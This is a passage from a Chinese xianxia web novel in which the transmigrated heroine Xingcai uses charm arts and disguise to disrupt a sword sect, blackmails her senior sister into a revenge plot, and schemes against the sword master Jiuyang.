荇菜顺她的目光落在双足，扬眸道：“胡说八道。我怎么会看上那种朝三暮四的男人。他不是有未婚妻吗？”假咳一声，又道，“不如，你帮我回绝剑尊，说我往九霄剑尊那去了。”
“啊？大师姐……”
荇菜说完已经运身法闪走。
小剑修追出两步后跺脚：“师姐这打扮与往日不同，难道不是因为琴天师弟吗？”
她带着疑问前去回禀九阳剑尊。
青虞宗的前山大殿隶属于掌门，两侧峰头属于外门和普通弟子，中围数峰是元婴修士的地盘，后山才是剑尊、元老的洞府。
在青虞宗，被奉为剑尊，至少化神以上的修为。
荇菜凭借禾诗逸的气态神貌穿过重重关卡，步入后山地界。
山道上，一道金银交错的身影从天而降，落在她的眼前。
她欲要避开，绕过此人，被对方侧身拦路。
山道挺宽，荇菜感觉可以穿过去，但是对方这架势一看就是堵人。
她做好应战的准备，川江渊底的五日，不仅从缥缈的烟雾里悟出如梦烟身法，更是摒弃过往的世界、价值观，融入当前社会强者为尊的自我理念。
这种感悟让她非常容易就接受体内的灵力来自于他人，被功法练为己用的法门。
来人注视荇菜，冷峻的脸面上露出严肃的神情。
“招你不来，非得本座亲自请？”
23. 第 23 章
【九阳剑尊？】
荇菜咯噔了下，正经敛神，躬身行礼道：“诗逸见过师伯。”
“随吾来。”九阳剑尊拂袖背手，往山道上走去。
步履无声，袍摆未动，如同一尊雕塑，在无形的力量下缓缓移动，给人一种极为威严肃杀的感觉。
纯阳剑？果然不一般。荇菜嚅唇，抬脚跟上他。
眼波流转，稳住后，荇菜如常般问道：“师伯，我们……这是去哪？”
“你不是上天霄峰？自然去寻九霄师弟。”九阳剑尊拉平唇角，漫步在前。几步后，他侧眸轻瞥，意味不明道，“你连人家殿门在哪都不认识，就敢随意乱闯各峰？胆子真大。”
荇菜立定，背身要走，被一道无形的力量锁住双足。
她知这位大能剑尊已经察觉自己有问题，紧张道：“师伯这是何意？”
“既去寻九霄就走吧。穿来闯去，打扰别人清修。”
荇菜见他没回头，似乎没有敌意，商量道：“请师伯带路。”她压着眸色，试探性地抬脚向前，固缚周身的力量已消散。
这么说，九阳剑尊暂时没有动手的打算。
【对了，九阳剑尊是原书里朱琴天的师父，如今已经不是了。若我能彻底打消九阳剑尊收徒的想法，就断去朱琴天的通天捷径之一。】
荇菜也不怕九阳，快走数步，紧跟剑尊。
她的眼中划过狡黠，脚下一软，哎哟了声。
九阳回身，扶住倒来的荇菜，扬眸望入一汪明澈清湖。湖心矗立一把凛然长剑，剑柄向天，等人将它拔出湖心，施展经天纬地的决然一剑。
“你……”九阳垂首，试图挣脱眼波幻境的影响。然而，心中升起的至阳至强的剑道让他忍不住再次去瞧那柄剑。
这是诱人的欲望，从心底拔升而起得对天地至强一剑的渴望。
这是剑修追求至尊至强的心魔。
湖心长剑被一窈窕女子缓缓拔起，剑尖如星点，直刺而来。
“就这？”浪费一把好剑。
九阳剑尊微蹙眉心，双指夹住晶莹透粉的剑身，眨眼凝眸，射向眼前杀气凛凛的荇菜：“好大的胆子，既知本座名号，还敢班门弄斧？”
“放手。”荇菜抽剑，却抽不出来。
惑术和偷袭都失败，接下来只能另寻他法。
九阳剑尊松开双指，瞧她跌撞后退，绕灵拉住她。
不知为何，一本正经的剑尊突然笑出声：“诗逸秉公持正，为人文雅有据，人称小古板。她怎么交你这等表里不一的朋友？既然你要去见九霄，本座带你过去。”
“剑尊你？阿逸她……”谁表里不一，大家不都表里不一吗？
“筑基后期的修为，私自离开川江渊，难道想瞒过金丹后期的诗逸？你的惑术确实不错，甚至能勾出人心欲望深处的心魔，厉害。敢问你是合欢宗谁人的门下？”
九阳剑尊诧异身后没有脚步声，板脸回首，“怕了？敢借身份孤身入后山，不敢随本座上天霄峰？”
荇菜有些摸不着大人物的心思：听他话意，禾诗逸已经知道我入青虞宗的事。九阳剑尊出现在这，像是受禾诗逸的嘱托。
此人站在山道石阶上，树荫半掩也遮不去金边白底的袍服衬出来的至强气质，同道生花的邪妄气质不同，九阳剑尊正大光明得像是一块殿上匾额，除刚才莫名其妙的笑外，正经得让人不敢随意妄动。
为验证心中的想法，荇菜豁出去，试探问：“为什么说阿逸是小古板？”
九阳剑尊没想到小姑娘问出这么句话，面无表情道：“本座是她的师伯，人称老古板。”
荇菜抽唇角，嘀咕：徒儿不应该同师父的气质相近，怎么同师伯成大小古板？
九阳剑尊似知道她在想什么，解释道：“她的师尊道号九玄，乃是本座的二师弟。为人潇洒不羁，却成一宗掌门，被人诸多诟病。
诗逸对此很是愤懑不平，比起她师尊更严肃规正。门中人说她像本座。”
“原来诗逸说得‘装’是这么来，实际上她还是更像她的师尊。”荇菜恍然道。
九阳剑尊停下脚步，回首一脚高一脚低的荇菜，沉默了。
荇菜收回上抬的脚，仰面直视他。
九阳剑尊这张脸是迄今为止所见最阳刚俊美的脸，与道生花被花里胡哨的衣衫衬托的俊美不同，九阳剑尊更有男人气。
这种气质与惊蛰的刚烈不同，会让人感觉九阳剑尊一旦动情就会很温柔。
【噗，我在想什么？糟，功法看上这男人，影响我对他得一些想法。嗤，莫不是黄椒的分身？】
“你在想什么？”九阳剑尊突然道。
荇菜“啊”了声，快口反诘：“不是剑尊先停下来想什么吗？”
“本座在想是不是应该收了那朱琴天，让讨厌朱琴天的诗逸不再来本座洞府，以免让她丢失本心。”
“……”这是什么奇葩的弯弯绕绕的想法？
阿逸表面正经，内里自我的性子不会跟这剑尊学吧？
荇菜想也不想道：“你收我啊，我不比朱琴天那厮好啊？而且，阿逸这么好，不来你的山头烦你，你习惯吗？
若我在你的门下，阿逸能做回她本来的自己，又能继续到你的山头陪你。”
“山头，你当本座是山大王？你是合欢宗弟子，没有师尊吗？”九阳剑尊回身，继续向山上走。
“呃……我师尊名唤花涟，有人说他养我是在养童养媳。你说这行为恶不恶心？”
九阳剑尊头也不回，却用灵识细细地打量荇菜的容貌：“天姿国色，世人所求，何来恶心之说？”
荇菜抚摸脸：不是吧，这张脸已经能用这八字形容？
“剑尊求吗？”她紧跟道。
九阳剑尊眯眸，停下时被荇菜撞在后腰。
他转身望下，小姑娘揉着鼻尖，仰面望来时泫然欲泣。
目光下落，注目在她无履的双足，耳旁似响起一阵惑人的铃铛声。铃声像是一片翻飞的羽毛，飘过心境竖起的重重炙火墙垣，落在古朴无波的心湖，荡起一圈波澜。
“剑尊，九阳剑尊？”荇菜诧异地喊。
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九阳剑尊回神，受惊般后退，脚后跟被上层的石阶挡了下，身体一下子失去平衡。光怪陆离的阴影拂过眼前，淡雅优美的花香扑鼻而来，似洞府门前那株相伴千年的石兰。
按道理，这种修为的剑修再怎么都不可能失态成这样。
荇菜慌不迭去拉他，潋滟的紫眸里显露一片惑人清湖：必须打消九阳剑尊收朱琴天为徒的想法。
湖心矗立的凛然长剑发出嗡鸣，漾起的波澜同九阳剑尊内心被羽毛点出的波澜重叠。
入魔就在这刹那。
他的注意力穿过树木阴影，直入荇菜倒来的双眸，顺鼻尖的芳香，下意识环住荇菜的双肩，如捧雨后石兰垂挂的花蕊。
两人双双跌在倾斜的石阶上，九阳剑尊发出一记闷哼。
重重地喘息喷在荇菜的脖颈，九阳痛哼过后紧紧地闭上眼睛，感受怀里柔软和强硬的挣扎，理智渐趋回笼：这是人，不是洞府门前得那株娇嫩的雨后石兰。
下一个瞬间，他意识到自己没有用身法防跌，没有用灵力阻止疼痛，没有第一时间推开她……豁然睁眼，吐出两字：“妖女。”
荇菜一巴掌甩过去，指尖擦过九阳剑尊的右鬓眉尾，划出一道眉尾红旋。
她大张瞳孔，双手双脚用力站起来，看向飙升冷气的九阳剑尊，理直气壮道：“多谢夸奖。苍蝇不叮无缝蛋，我好心拉你，你却抱我还骂我妖女，居心何在？”
九阳剑尊哑口：竟然没防备她？
他克制着不去抚被打的脸，一股前所未有的羞耻从波澜的心湖上漾漾升起，扰乱他惯来的清净。
荇菜的心弦在危机感下绷紧，紧急道：“风吹幡动，你说是风动，还是幡动？”
九阳剑尊舒展的长眉豁然皱成个川字，额心的剑心金钿都变得杀气凛然。
荇菜犹是不觉，自顾道：“仁者心动。你，动心了。”
“住口。”九阳剑尊的威压如潮掠向四周，不能争对眼下的女人。
若是杀了她就走了无情证道，此乃剑心偏颇，无私无欲无大爱之道。
摧枯拉朽的剑势威压横扫天霄山，逼得九霄剑尊破空而至，挡在荇菜的面前。
九霄剑尊急切道：“师兄，这是做什么？诗逸怎么惹到你，发这么大的脾气？”
荇菜二话不说，拉住九霄的靛青衣袖，委屈道：“师叔救我。”
“呃，你不是诗逸？”九霄瞬间了悟，明白道，“诗逸不会拉本座的衣袖，更不会向旁人撒娇求救。”
荇菜被九阳剑尊的剑势威压吓到没稳住心神，慌忙撒开手。
九霄剑尊没在意一个筑基后期的修士，再去看九阳，人已消失不见。
他诧异地眨下眼，抓在荇菜的肩头，抬步就消失在山道。
“瑶姬徒儿，帮我审审她。来人……罢了，诗逸这等本事不可能栽在一个筑基后期的手上。本座先去看望师兄要紧。”
九霄剑尊把荇菜扔给不明就里的瑶姬，闪身离去。
荇菜撞进瑶姬怀里，又被对方一把推开，听到长剑出鞘的滋啦声。
24. 第 24 章
天霄峰大殿素雅清净，瑶姬抽剑指向荇菜，审视过后严肃道：“你是谁，假扮大师姐意欲何为？”
“呵，”荇菜直身，收敛心、神双术，露出金莲的容貌。
瑶姬瞪大眼，长剑下垂落地，慌乱地后退两步，喃喃道：“怎么……是你？你……”
“你认识我？”荇菜没有直接相认，逗弄道。
服下鸳鸯丹的金花已经改变成现在瑶姬的容貌，虽有三分金花以前的眉眼底子，但是现在的容貌更偏向乖巧可爱。
花涟不是随便制作鸳鸯丹。既然做来给金莲使用，多少会贴合金莲的清纯气质。
这就造成瑶姬现在的神态气质有几分以前金莲的质感。清纯可爱的金莲与御姐气质的金花是完全不同的类型。
如今的瑶姬在熟人眼中有几分东施效颦的感觉。
“不，不认识。”瑶姬矢口否认，捡起长剑后插回剑鞘，又极快地拔出来，“你怎么会入青虞宗？”
荇菜拂开毫无杀气的剑身，赤足轻浮：“这般惊诧，我还以为是那服用鸳鸯丹的师姐。毕竟，你的气质与我以前有几分相似。”
瑶姬的周围没有剧情文字，说明激发剧情的关键不在女主角。【这是本以男主为主的小说，女主是龙傲天的锦上添花。如此看，剧情关键还在朱琴天那。】
瑶姬的面色几经变化，慢慢出现裂痕。
荇菜继续逗弄：“狠心的师姐在我被长剑刺个对穿时同男人你情我浓，便是最后一颗保命丹药都不曾留给可怜的师妹。”
“胡说。她自身难保，不得不这样做。当时，你已经被剑刺穿心脏，回天乏术，灵丹妙药都不管用，怎么救？”
瑶姬急口辩解，又诧异地捂嘴，对上荇菜了然的目光。她纠结张面色，愤然放手，干脆鼓起勇气道，“师妹，不必试探我。你是怎么活下来？”
“师姐坦诚，肯认下师妹，不枉费师妹的一颗极品丹药。
怎么活下来？学师姐啊，采补一位灵力稀薄的书生，咻得一下，一夹一吸，人家直接化为灰烬。以命换命，我活了。”
“你……你竟然修炼师父的《纳阳》禁术？这门功法离不得男人，日后你会被……”
“住口。”荇菜瞪双紫眸，声音里再次带上言灵的驭人之威，“师姐，改头换貌入九霄剑尊门下，若他知道你的真实身份以及骗人的把戏，你还能留在这里当师祖首徒吗？”
“你……你想怎么样？”瑶姬凭借对惑术的心得，第一时间敏锐地挣脱出荇菜的眼神控制。
她不敢去看荇菜的眼睛，光听声音都感到难守心智。
“没想做什么啊。我为救你，被朱琴天刺了一剑。师姐替师妹刺他一剑，了了恩怨，如何？”
瑶姬想也不想就拒绝：“不行，我不是他的对手。”
“呵，当然不是现在。合欢宗弟子习剑，要有个熟悉的过程嘛。青虞宗每隔三年会有一次弟子大比。大比会上，师姐当众给他心口来一剑，以泄师妹的心头怒气，可行？”
“你疯了。残杀同门，其罪当诛。”
“哈哈哈哈……”荇菜大笑，眼波流转，绕到瑶姬的正面，弓背觑她，又被躲过去，“你拿鸳鸯丹的时候怎么不记得同门情谊，还是我合欢宗不配谈同门情谊？
你不刺他，可以呀。
我就告诉九霄剑尊，告诉天下人，你是合欢宗花涟长老座下大弟子金花，盗取师妹的救命丹药改头换貌，投入他派门下，算得上欺师盗祖吧？”
“我伤他也会被逐出宗门。”瑶姬挣扎道。
荇菜没想到她的意志这么强，哼笑出声。
她在声音上加强输出灵力，驭声道：“师姐，忘记他是怎么对待你吗？他本无灵力，你只是想要教他男女之道，让他体会周公之乐，他却让你差点命丧黄泉，灵力尽失，宛若老妪，垂垂将死。”
瑶姬被勾起过往惨痛的记忆，在即谷与朱琴天相逢，生出的缥缈好感顷刻消散于无。
“别说了……别再说了……”
荇菜捂住瑶姬的脸颊，轻柔地拉扯着：“若他知道这张面皮下的真面目，你猜自诩嫉恶如仇的男人会放过你吗？
我听说在收徒大典上，他的元阳可是献给未婚妻。青山洞窟里，与他恩爱的你又算什么？”
“他是我的仇人，我恨他。”瑶姬睁大双目，望入荇菜潋滟的紫眸眼波。
青山洞窟里欲生欲死的画面轰然而至，朱琴天拔身而起，无情推来的双手宛如利剑挖心。
“他该死……”
“在宗门大比上给他一剑，告诉众人，他的元阳献给你。他在欺骗世人，让他真正的身败名裂。”
“好，我答应你。”瑶姬紧跟道。
“哈哈哈哈……不愧是我的师姐，做事果决，不拖泥带水。”荇菜撤去眼里的惑术，声音的频率也恢复正常。
瑶姬嗬嗬地喘息，口干舌燥，咽口吐沫后，理智渐趋回笼。
“师妹，我一定会给他这一剑，为你报仇。师姐求你别说出去，别告诉九霄剑尊。
剑尊人很好，不嫌弃我的资质愚钝，破格收我为徒。他比师父好千万倍，师父冷情，教我合欢功法后任由我自生自灭。不像师妹，被师父关爱呵护，护在莲花殿，不知宗门的尔虞我诈，修炼艰难。
师妹，师姐好不容易入青虞门下，求你成全。”瑶姬说着，直直跪下去，向荇菜磕头恳求。
荇菜受下这大礼，为得是被骗下山的金莲本尊。
她侧身扶起瑶姬，款款道：“师姐，何故如此，你我师姐妹一场，日后在这修真界混，彼此照拂理所应当。”
瑶姬呵了声，细细地打量荇菜，察觉肩头传来的份量和安抚的轻拍动作，无力道：“师妹，好像变了。”
“哦，变聪明了？”
“不止，漂亮了。”瑶姬扯唇角，“《纳阳术》当真厉害。”
“男人，好东西，不投入情，就是驻容养颜的圣品。这话还是师姐诱朱琴天上山时教给师妹。”荇菜嫣然发笑，听着殿外疾步掠来的声音，慌张道，“仙子，我真得不是奸细，我是……”
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“你是我禾诗逸的朋友。”禾诗逸跨步入内，拉住荇菜的手腕，上下观扫，“没事吧，她可有为难你？”
荇菜摇头，歉意道：“阿逸，我……”
“不必说，日后你想入山，拿腰间的牌子直接进门。”禾诗逸说完，得了荇菜大大的笑容。
她转向瑶姬时面容板正严肃，“师妹，我已经同九霄师叔说过此事。这人，我就先带走。”
禾诗逸给瑶姬一个眼神，拉上荇菜就走。
瑶姬追出两步，同荇菜回首的婉约目光相触，心思下沉：师妹确实是师妹，但是她真得不一样了。
以前的师妹被师父如珠似宝护在莲花殿，单纯得只会做个春梦，连梦里男人的脸都刻画不全，现在连元阴都没有了，还变得如此狡诈厉害。
呵，师父，你要娶的圣洁姑娘不再圣洁，你知道后可会发狂？
空无一人的大殿内，瑶姬握紧双拳。
“朱琴天，你害我拥有毕生难忘得一日，与我恩爱就这么让你丢脸？我要你也尝尝突然老死、被人嫌弃的滋味。纯阳之体，破纯阳之体的最好法门是让他爱上女人，心甘情愿地奉献一身修为。
师妹，一剑之仇，我定为你报来。”
禾诗逸拉荇菜直奔青虞宗山门外，边掠边道：“你走时，我传信给九阳师伯，请他相助于你。你怎么让他剑心大乱？”
“什么剑心大乱？我假扮成你，怕被他识破，战战兢兢走了一路，结果还是被他识破。”
禾诗逸停在山道，环首四顾：“你对他……是不是用了独门惑术？”
“自然。我怕他揍我，我得自保啊。”荇菜理所当然道。
禾诗逸扶额，感慨道：“九阳师伯道号九阳，修得是纯阳功，历来心境古板无波，在宗门号称老古井，扔个可爱师妹在他身上都能被弹开，你怎么做到让他剑心生魔？”
“剑心……生魔？我就说‘风吹幡动，是风动还是幡动’？”
禾诗逸眨眼，接口道：“幡动？”
“噗，这是佛道的唯心论。我答：仁者心动。他，动心了。”
禾诗逸指点荇菜的额头，半响才道：“你不愧是合欢宗妖女，不让人心动都不成。”
“妖女骂谁呢？”
“妖女骂你……”禾诗逸反应过来，改抓为挠，逼得荇菜提脚就逃，“站住，妖女。”
“哈哈哈……”荇菜边笑边飘，斜里横直射来一把长剑，吓得她横身躲过：朱琴天？
半空浮现文字：朱琴天见大师姐禾诗逸抓闯山妖女，持剑相助。妖女身法奇特，飘忽无形，被躲过去。朱琴天的目光落在眼前大师姐的倩影，身姿宛若青鸾惊鸿，真是清丽绝伦，一时移不开眼。
荇菜瞥眼挡下朱琴天的禾诗逸，自顾飘到剧情文字旁，扬手挥去，从字中穿过去。
她的目光回到禾诗逸处，朱琴天正在拱手打招呼，扬言要帮禾诗逸拿下闯山妖女。
“呵，剧情大婶，你还认识我吗？告诉我，怎么穿回去。”荇菜含笑嘀咕。
25. 第 25 章
剧情大神：……
浮空的镂空文字再次翻新：禾诗逸对朱琴天心生好感……厌恶？朱琴天不明白大师姐为何同妖女处成朋友……@#￥%@#……心里那点仰望的情感回落……@#￥%#%￥%
荇菜惊喜地挥舞这行乱码，感受到如剑射来的目光，斜瞥着与朱琴天的眼神争锋。
这个家伙的眼里是陌生和敌视，似乎没有认出当日青山洞窟被他一剑对穿的柔弱女子。
【哈，剧情终于有波动，不枉费我的一场筹谋。】
剧情文字出现乱码，说明剧情内容被更改。
此时的禾诗逸与朱琴天已经相识，两人虽不生喜，但绝不会生恶。
“阿菜，我们走。”禾诗逸同朱琴天交涉完，拉上荇菜就走。
荇菜松开她，言道：“我得添一把火，让剧情更乱些。”
禾诗逸不明白此言的意思，目送她走到朱琴天旁边，单手凝剑，随时准备相助好姐妹。
朱琴天一身秋日白衫，双目如刀般看向荇菜，心生一种无法解释的忌惮。
“你是……”
“不记得我了，青衍镇外青山上的洞窟，你和我师姐……”
“是你，合欢宗妖女，果真是妖女，竟然没死！？”朱琴天御剑横斩，被早就防备着的禾诗逸持剑击退，急切喊，“大师姐，她是合欢宗妖女，专门……”
“住口。她是我的朋友。怎么，你要大声告诉众人，你的元阳是怎么丢吗？”禾诗逸嫌弃道。
“不是……不是她，是……”朱琴天百口莫辩。当日大殿上的谎言已被禾诗逸知晓，一时羞愤难当，直直地瞪向荇菜，心中攀升怒火，意欲杀之而后快。
荇菜感觉到他的杀意，看向重新导正的剧情文字：
朱琴天从未这么恨一个女人，比起她的师姐金花，这个女人像带毒的蝎子般蛰来，防不胜防。
可恶得是大师姐禾诗逸护着妖女，一定是被她的花言巧语蒙蔽。
大师姐才貌双全，乃是门中尊者的掌上明珠，多一事不如少一事，不可得罪她。
荇菜噗嗤笑出声，朝不明就里的禾诗逸道：“阿逸，有你在我就不怕。他这般欺负我，我真想还他一剑。”
“趁早不如赶巧，我帮你讨回这一剑。虽不能一剑将他致死，但重伤他不成问题。”禾诗逸回眸一笑，犹如春雨后的青山，清新得让人信服。
手腕一抖，绥带卷剑直刺向惊诧不已的朱琴天。
“大师姐，你是被妖女蒙蔽。她可是专门吸入精气的妖女。”朱琴天连翻躲闪，横剑相抗，硬是被禾诗逸揍得还不了手。
第一剑横过朱琴天的手臂，震落他的长剑。禾诗逸哼笑了声：“我当纯阳之体有多厉害，不过如此。”
几剑横扫，硬是将朱琴天割的衣衫破烂，颜面尽失。
荇菜看向空中变成乱码的剧情文字还在努力矫正成“打是亲、骂是爱”，忍不住捧腹大笑。
剧情大神：……禾诗逸被合欢妖女的惑术蒙住心神，剑剑戳向朱琴天……赶巧九霄剑尊快速赶来，救下朱琴天。不打不相识，禾诗逸与朱琴天有了交集，为日后的深情厚谊埋下基石。正所谓，打是亲，骂是爱，不打不骂不相爱。
九霄剑尊跨步入场，一指挥退禾诗逸的长剑。
“胡闹，平白无故欺负宗门弟子，哪像是宗门第一的大师姐。”
禾诗逸卷绥带回腰，化去长剑。她看向躲在九霄身后的朱琴天，抿唇行礼：“师叔，他欺负我朋友在先，我教训他在后，于情于理都合规矩。
对了，师叔，师伯怎么样？”
九霄剑尊没有立时答她，扫眼一旁作壁上观的荇菜，生出几分不喜。他先朝朱琴天道：“诗逸护友心切，你也该问清楚再动手。罢了，你先下去，好生养伤。”
“是。”朱琴天屈辱地起身，感受到宗门对禾诗逸的袒护。
他离开前扫眼禾诗逸和荇菜，目光凌厉宛若对上刻骨仇人。
荇菜跨步，走近禾诗逸，耳语笑言：“他的眼神已是恨上你我。日后，你在宗门可要当心。”
“怕什么，一个滥情小人罢了。”禾诗逸被九霄剑尊凌空当头来了一记，捂脑袋，委屈喊，“师叔！？”
九霄剑尊不理她，面向荇菜：“姑娘名讳？”
“荇菜。”
“什么菜？性？”
“你也可以喊我：我行姐。”荇菜弯唇。迎面而来剑尊神威，人直直往后飘出三丈才停下。
禾诗逸掠至，拉上荇菜上飞剑：“快走。师伯剑心不稳，师叔定是来拿你问罪。”
“你们以为逃得了？”九霄剑尊并指凝剑，一道无形剑影直戳天际，直斩而下。
“阿逸，”荇菜被禾诗逸用力一送，抛出青虞山门外。禾诗逸打算孤身接下这道惊天剑势。
九霄剑尊诧异地看向孤注一掷的禾诗逸，不明白这个合欢宗女人究竟有什么魔力让这个师侄这般不顾一切，连往日大师姐的风范都不要了。
九玄剑尊突至半空，接住被剑势击落的禾诗逸，恨铁不成钢地骂道：“傻徒儿，接不住不会躲吗？”
他抱着昏过去的禾诗逸，跨步挡在九霄剑尊的面前，“师弟，算了吧，一个小女娃，堂堂合体修士为难她成何体统？师兄的修为至今突破不了，何尝不是未历心境，太过单纯。若他能过此劫，青虞宗必将出一位大乘剑仙。吾等就随他去渡此心劫。”
“可……这么让妖女得了门里的好处离去？”九霄剑尊咬牙道，“她害诗逸这般是非不分、不辨道理。”
“呵，我徒儿的伤不是你斩出来吗？”此言一出尽显师徒两人的“我就是道理”。
九玄剑尊又道：“川江渊底的冰道温泉本就是诗逸祖父曾经的闭关洞府。若真较起来还是徒儿的祖传私产，自由她处置。”
九玄剑尊送他个你懂的眼神，带禾诗逸回前山的掌门大殿。
九霄剑尊叉腰：“这等师父当真是带坏一个好苗子。气煞我也。”
青虞宗一行，荇菜在修真界有名号：“合欢妖女。”
此名头不日将扬名天下，与她有仇的人纷至而来。
此时，荇菜坐在道生花的船头，双脚
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没在水下，惬意地晃悠双腿。
阳光穿过光洁长腿上的水珠，随荇菜撩起的水花，旋出一道晶莹彩虹，混合铃铛声、嘻嘻哈哈的笑声，宛若一首欢快的动人曲调。
道生花听一路，乘风哂笑，等铃铛声停下，挑眉道：“怎么，累了？”
荇菜躺在甲板上，仰面天上如被定住般的绵朵浮云：“你是什么修为？”
“合体。”
“听起来也不厉害。我以为你有多厉害呢。”荇菜说完，轻泄口气：笑声里含驭人术，摄魂铃针对性响半天，对这道生花是一点用都没有，还是我修为太低。
“你想要迷住本尊，光用声音不行。”
“那用什么？”荇菜侧身，美人横卧，多了份写意妖魅。
“这也不行。”道生花生出兴趣，好奇道，“本尊送你入青虞宗，为得是调理你体内的灵力，不成想，这一趟让你变了很多。”
荇菜勾腿一盘，倾身如仰口待食的美丽鱼儿。
这是欢情诀里的动作，若女子做得好，男人能直接弯腰脱裤。
“因为啊……有人改变了我，不，有你一份。对了，你不是说三生道是我最好的盟友？我告诉你，我想睡谁。”
“谁？”道生花眯眸：这女子日前还为吸食他人灵力愧疚，如今已渐入佳境。
“九阳剑尊。”荇菜一跃而起，双足脚尖点在不足三指宽的船舷，抬膝走近，“他的剑心乱了。”
“确定是他，如何确定？”道生花蹙眉，九阳剑尊是青虞宗二代剑修的翘楚。若他的灵力修成后回归道祖天尊，天尊法力定上层楼，越发难对付，绝不能让九阳寿终。
“不知道，一种感觉。你不是说他以神识控制分身，神识沾染他本体的灵力。我睡的第一个男人，吸得第一口灵力就是他的分身，兴许对他的神识灵息比较敏感。”荇菜以自身掌握的修真常识解释道。
道生花信了，屈指点在手臂，思量道：“九阳剑尊是合体修士，与本尊境界不相上下。”
“这么说，你对付不了他？”
“你想睡他吸取他的灵力，怎么不自己动手？”道生花没好气道。
“你真奇怪，合体修士的修为有多高？我也要一口气吃得下啊。这种剑尊会给你第二次机会吗？我不能完全吸收他，对于你们三生道来说，不太好吧？”
道生花眯眸：这个女人成长好快，已经懂得反向拿捏。
“难道你想本尊把他引出来，打晕他，让你睡？”
“这主意倒也不错。哈哈哈……”
“休想。本尊又不是伎院老鸨，做此等下作之事。”道生花斜眼说完，又道，“一个合体修士的灵力流泻太快，中途若醒，你照样得小命不保。以你道行，需要有人消耗掉他尽半数的灵力，你才有可能控制他。”
荇菜无所谓地摆手，旋脚飘起，点在水面又回旋上船舷，如梦烟的身法使起来翩若惊鸿，婉若游龙。
道生花眯眸，袖下掉落把扇子。
他持扇勾起近前的荇菜娇容，审视道：“做什么这么恨本尊？”处处诱惑本尊。
26. 第 26 章
“胡说什么，你我不过各取所需。你不做，任由他壮大呗。”荇菜握住水润光滑的扇骨，一手沿扇骨滑到道生花的手背，轻柔如羽般点着。
道生花忍了下，还是松开扇子。
折扇入手。
荇菜打开折扇，入目一副水墨山道的扇面，轻呼两下：“倒也能看，归我了。”
道生花呵了声，扬手抹去扇面上的神识烙印。
“你能祭炼成功，才算是你的法宝。往东去，有一座桃花岛，岛上有一只桃花妖，持扇入岛，让她把岛让给你。你要的人，最迟三日后会上岛，能否成事就看妖女的本事。”
荇菜把玩手里的玉骨扇子，扬眸不见道生花，泄气地坐在船舱。
她拿扇子轻呼，缓缓道：“九阳，怪就怪你眉尾的痕迹。”
脑海里有个声音突起：“九阳剑尊是阿逸的师伯，对阿逸极好。若你让他消失，怎么面对阿逸？”
荇菜往侧一趴，撩水泼在扇面，又用火折子烧它：“水火不侵，好东西。我便是要做这水火不侵的人。阿逸知晓这事又如何，我直接告诉她，道祖天尊是她师伯，不就好了。”
脑海的声音又道：“你真认为一句‘分身’就可以解释这些活生生的人从原本的生活里消失吗？”
荇菜捂住脑袋，旋身而起，开扇横扫，掀起一股滔天巨浪。大浪落水，轰得船只倒退飞行。
她被浪的冲力摔在船舱，被水浪冲击，摇摇晃晃地向西行去。
不知是她的扇子本事，还是水泽乡就是这种天气，万里晴空开始密布阴云，大雨倏然将至。
片刻后，风雨交加，一直下到次日，天色依旧是朦胧不清，偶夹电闪雷鸣。
荇菜扶额：“东在哪？这阴雨天，鬼知道太阳从哪里出来啊？罢了，随便吧。”她倒在船舱，扇面遮脸，任由雨水冲刷，直至船舷与水面将要持平，才唬得她起身舀水。
“这破船怎么没有舱顶？”荇菜边舀水边骂，又过半日后终于放晴，避免沉船的危险。
她半死不活地垂挂在船舷，呵呵轻笑：“生与死前，管什么真心情谊。若我至强，离开这，这些人又算得了什么？”
“啊……”荇菜长喊一声，倒在船舷，“就这样吧。毁灭吧。我舍不得阿逸。啊……”
“姑娘，姑娘……你是迷了水路吗？”打渔船上的人高喊。
荇菜猛地坐起身，向对面的船夫摇手：“是啊，大叔，救命啊。”
“别怕，这就过来救你。我们带你去岸上。”
荇菜上了渔民的大船，真是谢天谢地谢这帮好心人。
船行三日，她被这些渔民送上岸。
另一边，九阳剑尊追杀道生花至桃花岛，落英缤纷不及一抹林中山石上的石兰幽香。
他的脑海里想起日前将洞府门口得那株千年石兰送给九霄的场面，收剑背手，长叹道：“或许，该历世行走。择尽三生，道尽途穷。胆敢将妖元送入剑修弟子体内，妖化门人，当真是罪大恶极。
三生道，九阳不灭尽尔等邪狞，誓不归宗。”
九阳剑尊化光向山泽国最近的剑仙城飞去。
道生花凝出身形，朝一旁跪首的桃花妖问道：“人没来？”
“妖仆未曾见到持扇人上岛。”桃花妖战战兢兢道。
“小骗子。”道生花咬牙，嚅唇压下心口攀升的怒火，强行扯笑，“你继续留在岛上监视青虞宗的一举一动。”
“是。”桃花妖应道。
“若她来，就说：给脸不要脸，自己去找机会吧。”道生花甩袖，一步跨出，身影消失不见。
桃花妖起身，对那位素未谋面的女子生出几分好奇，有谁胆敢骗法尊道生花，真不怕死。不，比起死更可怕得是生不如死。
荇菜刚入山泽国的青山城，就见一群眼熟的和尚拿画像在挨个问人。她躲墙角瞻了一眼，扫见布帛上画得不是别人，正是她自己。
她吓一大跳，垂首浮立的双足，绕到另一条街，直接进成衣铺。
与一位扶小姐出门的小丫鬟擦身而过，吸了一口对方青雉香甜的气息。
“老板，给我来一套同刚才小丫头一样的成衣。”
“哦，这是醉花楼丫鬟的服饰，有呢有呢。”
荇菜换好衣衫，从屋里出来时以“心、神”双术控气、质两面，同刚才离去的小丫鬟面容、气质无二。
掌柜愣了下，在淡紫眸光下展颜道：“绿萝真是越来越标志，你家姑娘都快留不住你了。”
荇菜躬身行礼，付一角银子，在腰间垂挂只荷包，离开成衣铺。
她刚走出两步，两位和尚入成衣铺问掌柜：“可有见过画像上的人。”
掌柜摇头说：“没见过。”
和尚拿画像出门，见着前面的荇菜，紧追几步后拦下她。“姑娘，请问见过这位姑娘吗？”
荇菜细细地观看布帛，画像上的自己穿得还是离开青衍镇时的衣衫，眼角微垂，透着谨小慎微。画这肖像的人当真是观察入微，却已不像现在的荇菜。
“没有呢，师父们找她做什么呀？”
“阿弥陀佛，多谢施主。”和尚们行礼离去。
荇菜刚走出两步就听身后人喊“站住。”她侧头一撇，白色袈裟乘风曵地，像极惊蛰赶路的姿态，二话不说开始向前跑。
前面的和尚不明所以地回头，见荇菜穿过去，等惊雷到来，喊道：“惊雷师兄，怎么了？”
“是她，妖女。”惊雷旋手祭出佛珠，散成金光暗器，直扑向荇菜的后背。
荇菜察觉背后生风，旋脚飘飞而起，立于高檐。她看向如风掠至的和尚，咬牙道：“臭和尚，做什么呢？”
